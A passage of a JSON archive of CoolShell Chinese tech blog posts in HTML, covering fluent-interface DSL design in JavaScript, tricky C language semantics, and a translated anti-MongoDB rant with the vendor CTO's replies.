32G\");\nli1.appendChild(txt1);\n…\ndiv.appendChild(ul);</pre>\n<p>而下面流畅接口API则要有表现力得多：</p>\n<pre class=\"EnlighterJSRAW\">\n//Javascript\nvar obj =\n$.div({id:’product_123’, class:’product’})\n    .img({src:’preview_123.jpg’})\n    .ul()\n        .li().text(‘Name: iPad2 32G’)._li()\n        .li().text(‘Price: 3600’)._li()\n    ._ul()\n ._div();</pre>\n<div>和Javascript的标准DOM API相比，上面的API设计不再局限于孤立地看待某一个方法，而是考虑了它们在解决问题时的组合使用，所以代码的表现形式特别贴近问题的本质。这样的代码是自解释的（self-explanatory）在可读性方面要明显胜于DOM API，这相当于定义了一种类似于HTML的内部DSL，它拥有自己的语义和语法。需要特别注意的是，上面的层次结构抽象和管道抽象有着本质的不同，管道抽象的方法链上通常是同一对象的连续传递，而层次抽象中方法链上的对象却在随着层次的变化而变化。此为，我们可以把业务规则也表达在流畅接口中，比如上面的例子中，body()不能包含在div()返回的对象中，div().body()将抛出”body方法不存在”异常。</div>\n<h4><strong>4. 异步抽象</strong></h4>\n<div>流畅接口不仅可以构造复杂的层次抽象，还可以用于构造异步抽象。在基于回调机制的异步模式中，多个异步调用的同步和嵌套问题是使用异步的难点所在。有时一个稍复杂的调用和同步关系会导致代码充满了复杂的同步检查和层层回调，难以理解和维护。这个问题从本质上讲和上面HTML的例子一样，是由于多数通用语言并未把异步作为基本元素/语义，许多异步实现模式是向语言的妥协。针对这个问题，我用Javascript编写了一个基于流畅接口的异步DSL，示例代码如下：</div>\n<div>[javascript]<br/>\n//Javascript<br/>\n$.begin()<br/>\n    .async(newTask(‘task1’), ‘task1’)<br/>\n    .async(newTask(‘task2’), ‘task2’)<br/>\n    .async(newTask(‘task3’), ‘task3’)<br/>\n.when()<br/>\n    .each_done(function(name, result) {<br/>\n        console.log(name + ‘: ‘ + result);})<br/>\n    .all_done(function(){ console.log(‘good, all completed’); })<br/>\n    .timeout(function(){<br/>\n        console.log(‘timeout!!’);<br/>\n        $.begin()<br/>\n            .async(newTask(‘task4’), ‘task4’)<br/>\n        .when()<br/>\n            .each_done(function(name, result) {<br/>\n                console.log(name + ‘: ‘ + result); })<br/>\n        .end();}<br/>\n        , 3000)<br/>\n.end();[/javascript]\n</div>\n<div>上面的代码只是一句Javascript调用，但从另一个角度看它却像一段描述异步调用的DSL程序。它通过流畅接口定义了begin when end的语法结构，begin后面跟的是启动异步调用的代码；when后面是异步结果处理，可以选择each_done, all_done, timeout中的一种或多种。而begin when end结构本身是可以嵌套的，比如上面的代码在timeout处理分支中就包含了另一个begin when end结构。通过这个DSL，我们可以比基于回调的方式更好地表达异步调用的同步和嵌套关系。</div>\n<p>上面介绍了用流畅接口构造的4种典型抽象，出此之外还有很多其他的抽象和应用场合，比如：不少单元测试框架就通过流畅接口定义了单元测试的DSL。虽然上面的例子以Javascript等动态语言居多，但其实流畅接口所依赖的语法基础并不苛刻，即使在Java这样的静态语言中，同样可以轻松地使用。流畅接口不同于传统的API设计，理解和使用流畅接口关键是要突破语言抽象机制带来的定势思维，根据问题域选取适当的抽象维度，利用语言的基本语法构造领域特定的语义和语法。</p>\n<p><strong>参考</strong></p>\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/Fluent_interface\" title=\"Wikipedia: Fluent Interface\">Wikipedia: Fluent Interface</a></li>\n<li><a href=\"http://www.martinfowler.com/bliki/FluentInterface.html\" title=\"Martin Fowler: Fluent Interface\">Martin Fowler: Fluent Interface</a></li>\n<li><a href=\"http://www.cnblogs.com/cathsfz/archive/2009/08/10/1543266.html\" title=\"jQuery is DSL\">jQuery is DSL</a></li>\n<li><a href=\"http://www.infoq.com/articles/internal-dsls-java\" title=\"An Approach to Internal Domain-Specific Languages in Java\">An Approach to Internal Domain-Specific Languages in Java</a></li>\n</ul>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10337.html\"><img alt=\"数据即代码：元驱动编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10337.html\">数据即代码：元驱动编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5202.html\"><img alt=\"对象的消息模型\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5202.html\">对象的消息模型</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3437.html\"><img alt=\"一些杂项资源\" height=\"150\" src=\"../wp-content/uploads/2010/12/ediff-small-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3437.html\">一些杂项资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2053.html\"><img alt=\"最为奇怪的程序语言的特性\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2053.html\">最为奇怪的程序语言的特性</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1992.html\"><img alt=\"程序员眼中的编程语言\" height=\"150\" src=\"../wp-content/uploads/2009/12/language-fanboys-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1992.html\">程序员眼中的编程语言</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5709.html\">API设计：用流畅接口构造内部DSL</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-11-1 深入理解C语言.html",
    "content": "<html><body><p>Dennis Ritchie  过世了，他发明了C语言，一个影响深远并彻底改变世界的计算机语言。一门经历40多年的到今天还长盛不衰的语言，今天很多语言都受到C的影响，C++，Java，C#，Perl， PHP， Javascript， 等等。但是，你对C了解吗？相信你看过本站的《<a href=\"https://coolshell.cn/articles/945.html\" target=\"_blank\" title=\"C语言的谜题\">C语言的谜题</a>》还有《<a href=\"https://coolshell.cn/articles/873.html\" target=\"_blank\" title=\"谁说C语言很简单？\">谁说C语言很简单？</a>》，这里，我再写一篇关于深入理解C语言的文章，一方面是缅怀Dennis，另一方面是告诉大家应该如何学好一门语言。（顺便注明一下，下面的一些例子来源于<a href=\"http://www.slideshare.net/olvemaudal/deep-c\" target=\"_blank\">这个slides</a>）</p>\n<p>首先，我们先来看下面这个经典的代码：</p>\n<pre class=\"EnlighterJSRAW\">int main()\n{\n    int a = 42;\n    printf(“%d\\n”, a);\n}</pre>\n<p>从这段代码里你看到了什么问题？我们都知道，这段程序里少了一个#include &lt;stdio.h&gt; 还少了一个return 0;的返回语句。</p>\n<p>不过，让我们来深入的学习一下，</p>\n<ul>\n<li>这段代码在C++下无法编译，因为C++需要明确声明函数</li>\n<li>这段代码在C的编译器下会编译通过，因为在编译期，编译器会生成一个printf的函数定义，并生成.o文件，链接时，会找到标准的链接库，所以能编译通过。</li>\n<li> 但是，你知道这段程序的退出码吗？在ANSI-C下，退出码是一些未定义的垃圾数。但在C89下，退出码是3，因为其取了printf的返回值。为什么printf函数返回3呢？因为其输出了’4′, ‘2’,’\\n’ 三个字符。而在C99下，其会返回0，也就是成功地运行了这段程序。你可以使用gcc的 -std=c89或是-std=c99来编译上面的程序看结果。</li>\n<li>另外，我们还要注意main()，在C标准下，如果一个函数不要参数，应该声明成main(void)，而main()其实相当于main(…)，也就是说其可以有任意多的参数。</li>\n</ul>\n<p>我们再来看一段代码：</p>\n<p><span id=\"more-5761\"></span></p>\n<pre class=\"EnlighterJSRAW\">#include &lt;stdio.h&gt;\nvoid f(void)\n{\n   static int a = 3;\n   static int b;\n   int c;\n   ++a; ++b; ++c;\n   printf(\"a=%d\\n\", a);\n   printf(\"b=%d\\n\", b);\n   printf(\"c=%d\\n\", c);\n}\nint main(void)\n{\n   f();\n   f();\n   f();\n}</pre>\n<p>这个程序会输出什么？</p>\n<ul>\n<li>我相信你对a的输出相当有把握，就分别是4，5，6，因为那个静态变量。</li>\n<li>对于c呢，你应该也比较肯定，那是一堆乱数。</li>\n<li>但是你可能不知道b的输出会是什么？答案是1，2，3。为什么和c不一样呢？因为，如果要初始化，每次调用函数里，编译器都要初始化函数栈空间，这太费性能了。但是c的编译器会初始化静态变量为0，因为这只是在启动程序时的动作。</li>\n<li>全局变量同样会被初始化。</li>\n</ul>\n<p>说到全局变量，你知道 静态全局变量和一般全局变量的差别吗？是的，对于static 的全局变量，其对链接器不可以见，也就是说，这个变量只能在当前文件中使用。</p>\n<p>我们再来看一个例子：</p>\n<pre class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\nvoid foo(void)\n{\n    int a;\n    printf(\"%d\\n\", a);\n}\nvoid bar(void)\n{\n    int a = 42;\n}\nint main(void)\n{\n    bar();\n    foo();\n}\n</pre>\n<p>你知道这段代码会输出什么吗？A) 一个随机值，B) 42。A 和 B都对（在“<a href=\"https://coolshell.cn/articles/4907.html\" target=\"_blank\" title=\"在函数外存取局部变量的一个比喻\">在函数外存取局部变量的一个比喻</a>”文中的最后给过这个例子），不过，你知道为什么吗？</p>\n<ul>\n<li>如果你使用一般的编译，会输出42，因为我们的编译器优化了函数的调用栈（重用了之前的栈），为的是更快，这没有什么副作用。反正你不初始化，他就是随机值，既然是随机值，什么都无所谓。</li>\n<li>但是，如果你的编译打开了代码优化的开关，-O，这意味着，foo()函数的代码会被优化成main()里的一个inline函数，也就是说没有函数调用，就像宏定义一样。于是你会看到一个随机的垃圾数。</li>\n</ul>\n<p>下面，我们再来看一个示例：</p>\n<pre class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\nint b(void) { printf(“3”); return 3; }\nint c(void) { printf(“4”); return 4; }\nint main(void)\n{\n   int a = b() + c();\n   printf(“%d\\n”, a);\n}</pre>\n<p>这段程序会输出什么？，你会说是，3，4，7。但是我想告诉你，这也有可能输出，4，3，7。为什么呢？ 这是因为，在C/C++中，表达的评估次序是没有标准定义的。编译器可以正着来，也可以反着来，所以，不同的编译器会有不同的输出。你知道这个特性以后，你就知道这样的程序是没有可移植性的。</p>\n<p>我们再来看看下面的这堆代码，他们分别输出什么呢？</p>\n<p><code class=\"EnlighterJSRAW\">int a=41; a++; printf(\"%d\\n\", a);</code><br/>\n<code class=\"EnlighterJSRAW\">int a=41; a++ &amp; printf(\"%d\\n\", a);</code><br/>\n<code class=\"EnlighterJSRAW\">int a=41; a++ &amp;&amp; printf(\"%d\\n\", a);</code><br/>\n<code class=\"EnlighterJSRAW\">int a=41; if (a++ &lt; 42) printf(\"%d\\n\", a);</code><br/>\n<code class=\"EnlighterJSRAW\">int a=41; a = a++; printf(\"%d\\n\", a);</code></p>\n<p>只有示例一，示例三，示例四输出42，而示例二和五的行为则是未定义的。关于这种未定义的东西是因为Sequence Points的影响（Sequence Points是一种规则，也就是程序执行的序列点，在两点之间的表达式只能对变量有一次修改），因为这会让编译器不知道在一个表达式顺列上如何存取变量的值。比如a = a++，a + a++，不过，在C中，这样的情况很少。</p>\n<p>下面，再看一段代码：（假设int为4字节，char为1字节）</p>\n<pre class=\"EnlighterJSRAW\">struct X { int a; char b; int c; };\nprintf(\"%d,\", sizeof(struct X));\nstruct Y { int a; char b; int c; char d};\nprintf(\"%d\\n\", sizeof(struct Y));</pre>\n<p>这个代码会输出什么?</p>\n<p style=\"padding-left: 30px;\">a) 9，10<br/>\nb)12, 12<br/>\nc)12, 16</p>\n<p>答案是C，我想，你一定知道字节对齐，是向4的倍数对齐。</p>\n<ul>\n<li>但是，你知道为什么要字节对齐吗？还是因为性能。因为这些东西都在内存里，如果不对齐的话，我们的编译器就要向内存一个字节一个字节的取，这样一来，struct X，就需要取9次，太浪费性能了，而如果我一次取4个字节，那么我三次就搞定了。所以，这是为了性能的原因。</li>\n<li>但是，为什么struct Y不向12 对齐，却要向16对齐，因为char d; 被加在了最后，当编译器计算一个结构体的尺寸时，是边计算，边对齐的。也就是说，编译器先看到了int，很好，4字节，然后是 char，一个字节，而后面的int又不能填上还剩的3个字节，不爽，把char b对齐成4，于是计算到d时，就是13 个字节，于是就是16啦。但是如果换一下d和c的声明位置，就是12了。</li>\n</ul>\n<p>另外，再提一下，上述程序的printf中的%d并不好，因为，在64位下，sizeof的size_t是unsigned long，而32位下是 unsigned int，所以，C99引入了一个专门给size_t用的%zu。这点需要注意。在64位平台下，C/C++ 的编译需要注意很多事。你可以参看《<a href=\"https://coolshell.cn/articles/3512.html\" target=\"_blank\" title=\"64位平台C/C++开发注意事项\">64位平台C/C++开发注意事项</a>》。</p>\n<p>下面，我们再说说编译器的Warning，请看代码：</p>\n<pre class=\"EnlighterJSRAW\">#include &lt;stdio.h&gt;\nint main(void)\n{\n    int a;\n    printf(\"%d\\n\", a);\n}</pre>\n<p>考虑下面两种编译代码的方式 ：</p>\n<ul>\n<li>cc -Wall a.c</li>\n<li>cc -Wall -O a.c</li>\n</ul>\n<p>前一种是不会编译出a未初化的警告信息的，而只有在-O的情况下，才会有未初始化的警告信息。这点就是为什么我们在makefile里的CFLAGS上总是需要-Wall和 -O。</p>\n<p>最后，我们再来看一个指针问题，你看下面的代码：</p>\n<pre class=\"EnlighterJSRAW\">#include &lt;stdio.h&gt;\nint main(void)\n{\n    int a[5];\n    printf(\"%x\\n\", a);\n    printf(\"%x\\n\", a+1);\n    printf(\"%x\\n\", &amp;a);\n    printf(\"%x\\n\", &amp;a+1);\n}</pre>\n<p>假如我们的a的地址是：0Xbfe2e100, 而且是32位机，那么这个程序会输出什么？</p>\n<ul>\n<li>第一条printf语句应该没有问题，就是 bfe2e100</li>\n<li>第二条printf语句你可能会以为是bfe2e101。那就错了，a+1，编译器会编译成 a+ 1*sizeof(int)，int在32位下是4字节，所以是加4，也就是bfe2e104</li>\n<li>第三条printf语句可能是你最头疼的，我们怎么知道a的地址？我不知道吗？可不就是bfe2e100。那岂不成了a==&amp;a啦？这怎么可能？自己存自己的？也许很多人会觉得指针和数组是一回事，那么你就错了。如果是 int *a，那么没有问题，因为a是指针，所以 &amp;a 是指针的地址，a 和 &amp;a不一样。但是这是数组啊a[]，所以&amp;a其实是被编译成了 &amp;a[0]。</li>\n<li>第四条printf语句就很自然了，就是bfe2e104。还是不对，因为是&amp;a是数组，被看成int(*)[5]，所以sizeof(a)是5，也就是5*sizeof(int)，也就是bfe2e114。</li>\n</ul>\n<p>看过这么多，你可能会觉得C语言设计得真扯淡啊。不过我要告诉下面几点Dennis当初设计C语言的初衷：</p>\n<p style=\"padding-left: 30px;\"><strong>1）相信程序员，不阻止程序员做他们想做的事。</strong></p>\n<p style=\"padding-left: 30px;\"><strong>2）保持语言的简洁，以及概念上的简单。</strong></p>\n<p style=\"padding-left: 30px;\"><strong>3）保证性能，就算牺牲移植性。</strong></p>\n<p>今天很多语言进化得很高级了，语法也越来越复杂和强大，但是C语言依然光芒四射，Dennis离世了，但是C语言的这些设计思路将永远不朽。</p>\n<p><strong>（请勿用于商业用途，转载时请注明作者和出处）</strong><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19996.html\"><img alt=\"Unix 50 年：Ken Thompson 的密码\" height=\"150\" src=\"../wp-content/uploads/2019/11/ken.dennis-300x186-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19996.html\">Unix 50 年：Ken Thompson 的密码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5761.html\">深入理解C语言</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-11-10 千万别用MongoDB？真的吗？！.html",
    "content": "<html><body><p>某人发了一篇<a href=\"http://pastebin.com/raw.php?i=FD3xe6Jt\" target=\"_blank\">Don’t use MongoDB</a>的血泪控诉，我把原文翻译如下，你可以看看。不过，我想我们还要去看看10gen <a href=\"http://news.ycombinator.com/item?id=3202081\" target=\"_blank\">CTO的对此事的回复</a>，我们还要去在<a href=\"http://www.reddit.com/r/programming/comments/m2b2b/dont_use_mongodb/\" target=\"_blank\">Reddit上</a>看看大家的说法，10gen <a href=\"http://news.ycombinator.com/item?id=3202081\" target=\"_blank\">CTO的对此事的回复</a>后面也有一堆人在讨论这个事，还有一些程序员开始去读MongoDB的源码了，呵呵。看样子，说MongoDB的这些事并不是真的。</p>\n<p>10gen CTO 对此事的并不完全知道，其在回复，对些文中的每一条都做了回复。我把其回复的大体意思也放在原文中。不过，很有意思的是那些程序员的讨论。建议大家看看。</p>\n<h3>正文</h3>\n<p>因为各种政治原因，我这段时间没有说什么，但是现在我觉得因为要对社会负责，所以我要阻止大家不要把你们的业务放在MongoDB上。</p>\n<p>我的团队在一个有巨大用户量（一个有千万用户级的大型的公司）系统上使用的MongoDB，这个系统上让MongoDB有非常大的负载。早期，我们以为使用MongoDB会像10gen公司（MongoDB背后的公司）宣扬其在长期性能扩展有很多好处。但是，我们错了，而这个rant(长篇抱怨)就是为了让你不要相信那些所谓的成功经验而和我们一样犯了大错。如果有人能避免你上当，那么就得我写这么多。希望能警醒更多的人。</p>\n<p>注意，对于和10gen打交道的经历来说，他们给予了我们充分了热情和帮助，而且非常地好。但是这并不能成为我不告诉大家他们的产品失败的理由。</p>\n<p><span id=\"more-5826\"></span></p>\n<h4>为什么这么说？</h4>\n<p>数据库应该是正确的，或是仅可能的正确，因为数据库的错误会比其它使用更大。不仅仅是因为其对运行，性能，开销，和其价值影响巨大，还因为其连带的东西。匆忙去去移植TB级的数据相比起去修改代码中的一个逻辑错误来说是一个很巨大的工作。而在系统出问题后需要恢复TB级的数据，而你即被限制住了，你会有一种绝望的感觉。</p>\n<p>数据库是一个很复杂的系统，对于开发者来说就像一个黑盒一样。你需要对你所采用的数据库持绝对信任的态度，信任它会做正确的事，并尽会保持 一致笥和可用性。</p>\n<p>为什么MongoDB会流行？</p>\n<p>说句公道话，我们必需承认MongoDB是流行的，因为下面这些原因让其流行变得很合理：</p>\n<ul>\n<li>它非常容易地运行</li>\n<li>非常自由的Schema模型，而且可以很容易地和JSON类的数据结果映射起来，这对于程序员来于有很大的感染力（它完全符合程序员的逻辑思维），而且，程序员总是在项目可以做技术选型的人。</li>\n<li>成熟和分健壮，有记录，被真实的Use Case测试过，等等。对于那些喜欢选择成熟的技术的系统管理员和运营专业来说，这是一个很典型的选择。</li>\n<li>它单系统，低读并发的性能测试非常令人惊讶，而对于那些没有经验的评估者来说，这基本上来说是最重要的。</li>\n</ul>\n<p>现在，你可能正在开发一个随便玩一玩的网站，或是一个原型，或是那种只考虑开发速度不考虑别的的项目。老实说，对于这种项止，无所谓你用什么样的技术，只要搞定工作就行了。</p>\n<p>但是，如果你想要在MongoDB上搞一个大规模的系统，在上面运行真实的业务，那么，请不要用MongoDB。</p>\n<h4>为什么不？</h4>\n<p>1）MongoDB为了赢得Benchmark测试而默认使用了不安全的写方式</p>\n<p>如果你不调用getLastError()，MongoDB就不会在确认数据库写操作完成就返回了，这会引入至少两种问题：</p>\n<ul>\n<li>在并发的环境下（连接池，等），在一个读操作“完成”后的连续地读操作会出错，MongoDB没有“栅栏条件锁”来知道什么时候完成写。</li>\n<li>未知个数的保存操作会被丢弃，因为保存操作的队列会在不同的地方。比如TCP缓存等。当你和数据库连接因为一些意味情况断开的时候，这些东西就被丢弃了。</li>\n</ul>\n<blockquote>\n<div>10gen CTO 回复： 这和Benchmark没有任何关系，并说这个就是API的设计，其交给用户自己去选择，因为写的方式也有很多种。</div>\n</blockquote>\n<p>2）MongoDB会以令人震惊的方式丢失数据</p>\n<p>下面是一个我们所经历过的它丢数据的列表：</p>\n<ul>\n<li>数据就是丢了，原因未知</li>\n<li>从损坏的数据库中恢复数据不成功，如事务日志。</li>\n<li>主从结点间的数据复制有缺口，导致从结点丢失主结点有的数据。是的，没有CheckSum，并且是的，你还会看到数据复制过去了。</li>\n<li>数据复制有时会停了，没有错误。你可以监控你的复制状态。</li>\n</ul>\n<blockquote>\n<div>10gen CTO 逐一回复：1）从来没有一个数据丢失的BUG我们没有马上fix的事情。你能告诉我你报给我们的问题号吗？我们至少要明的是怎么一回事。如果是我们的问题，我们会马上fix的。2）从损坏了的数据库中不能完全恢复数据 ，这不挺正常的吗？但是如果有主从服务器互为备份应该会好一些。3）请告诉我你的问题号，我们从来没有接到过这样的错误报告。如果有，的确很严重。4）如果是说错误条件发生的时候没有通知，这有可能。另外，你可以监控数据复制的写操作，你可以使用w=2 为getLastError的参数。</div>\n</blockquote>\n<p>3）MongoDB 需要全局写锁来请求写操作</p>\n<p>在写操作频繁的时候，这等同于杀了你。如果你运行一个blog，你也许不会关心这个事，因为你的读写操作不高。</p>\n<blockquote><p>10gen CTO 回复：读写锁永远都是问题，但是2.0会好很多，2.2会解决得更好一些。</p></blockquote>\n<p>4）MongoDB 的Sharding(分区) 在高负载下会停止工作</p>\n<p>在高负载下加一个shard是一场恶梦。Mongo要么会移动其数据块太快而导致DOS攻击产生很多流量占用带宽，要么就完全地拒绝更多的数据块。这会使一个高流量的网站承受着沉重地写操作。</p>\n<blockquote><p>10gen CTO 回复：如果系统已经超过了其负载，那么移动数据当然会变得很难。我每一次的演讲都说得很清楚，不要在系统性能不行的时候才去加shard，这不行的。</p></blockquote>\n<p>5）Mongo 不可靠</p>\n<p>Mongod/配置服务器/mongos的架构确定合理且聪明。不幸的是，mongos完全就是垃圾。在有负载的情况下，它时不时就都会崩溃，有时几个小时，有时几天。进程重启监控有时也不管用，因为他会抛出一些断言会伪造出一个关键线程，其导致进程还在运行。Double Fail。</p>\n<p>最坏的是，唯一可行的方式是在一堆mongos实例前放一个HaProxy(一种负载均衡器)，运行一个作业其缓慢地轮着访问这些mongos实例，并定期kill掉他们，以变可以重新启动新的实例。我没有在开玩笑。</p>\n<blockquote><p>10gen CTO 回复：不可能有这种事，你能不能告诉我更多的细节？</p></blockquote>\n<p>6）MongoDB有一次甚至删除了整个数据库</p>\n<p>MongoDB 1.6，在数据同步配置中，有时会配置了一个错误的结点（经常是一个空结点）是一个最新的数据结点。于是其它同步数据的结果上的<strong>数据就这样被干掉了</strong>（我说的是700GB的好数据），因为其把这个空结点的数据同步回有数据的结点上。数据库永远永远都不应该干这个。如果出现这种问题，数据库应该抛出一个错误而让DBA来选择合理的操作，或是强制使用正确的配置。而不应该删除所有的数据（那天太糟糕了）。</p>\n<p>他们在1.8中修复了这个问题，偶滴神啊。</p>\n<blockquote><p>10gen CTO 回复：找不到这样的事，也找不到相应提交的代码，你能多给点信息吗？</p></blockquote>\n<p>7）发布了一些不应该发布东西</p>\n<p>众所周知，在稳定版里能找到一些尴尬的bug其会导致数据问题——而我们总是在出了问题后他们才告诉我们这些问题，这是因为我们购买了10gen他们那超级诈骗的白金技术支持。他们回应是，发给我们一个hot patch，他们内部叫RC的玩意，然后让这个hot patch运行在我们的数据上。</p>\n<blockquote><p>10gen CTO 回复：关于白金的技术支持，我们所接手的所有问题都会公开，fix也会公开。没有特定的情景，这种事很难讨论。我们会根据不同的情况作出不同的反应。我们希望我们的用户的问题能尽快得到解决。</p></blockquote>\n<p>8）复制器在繁忙的服务器上黯然失色</p>\n<p>复制器经常性的向Master发起DOS攻击，或是复制非常慢，花了巨长无比的时间，而oplog几乎被耗尽（就算是50GB的oplog）。</p>\n<p>我们有一个繁忙的，大的数据集我们不会复制他因为它是动态的。那是令人痛苦的一个月，或是我们需要在选择不同的数据库系统前交叉双指（注：好运的手势）</p>\n<blockquote><p>10gen CTO 回复：这看起来像上服务器负载过重了。我前面提到过了。</p></blockquote>\n<p><strong>但是最糟糕的问题是：</strong></p>\n<p>你可能会说，我这些问题都是过去式了；他们修复了所有这些问题或是他们会在下一版本中修复这些问题；X问题可以用Y实践来减轻。等等，等等。</p>\n<p>不幸的是，你说这些东西一点用也没有。</p>\n<p>真正的问题是，这么多的问题都是首要的问题。 数据库开发者要能hold住比一般程序员更高的标准。也就是说，你的优先级应该像下面这个样子：</p>\n<ol>\n<li>别搞丢数据，对数据要有完全的把握</li>\n<li>通过实践保证可用性</li>\n<li>多结点的性能扩展性</li>\n<li>最小延迟应该保持在99%和95%之间</li>\n<li>每个资源的每秒请求数</li>\n</ol>\n<p>10gen的顺序好像是 #5  为每一，其它项随便，#1 并不在前3位。</p>\n<blockquote><p>10gen CTO 回复：这明显不是真的。看一看我们提交的代码，看一看我们的fix。 我们从来不会在release版中隐藏一个bug。如果我们非常在乎性能的benchmark的话，我们会花精力解决那些锁的问题，这样一来，多线程并发会更快一些。</p>\n<p>MongoDB是一个新生的东西，还有很多东西需要打磨。如果你想来认识一下我们，我们欢迎你来认识一下我们。</p></blockquote>\n<p>这些失败，还有那所暗示的公司的优先级，指出了一个最基本的企业文化的问题，其会让问题出现在任一发布版中：因为他们缺乏尊守必要的数据库系统的设计律条。</p>\n<p>请慎重考虑这些警告。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> 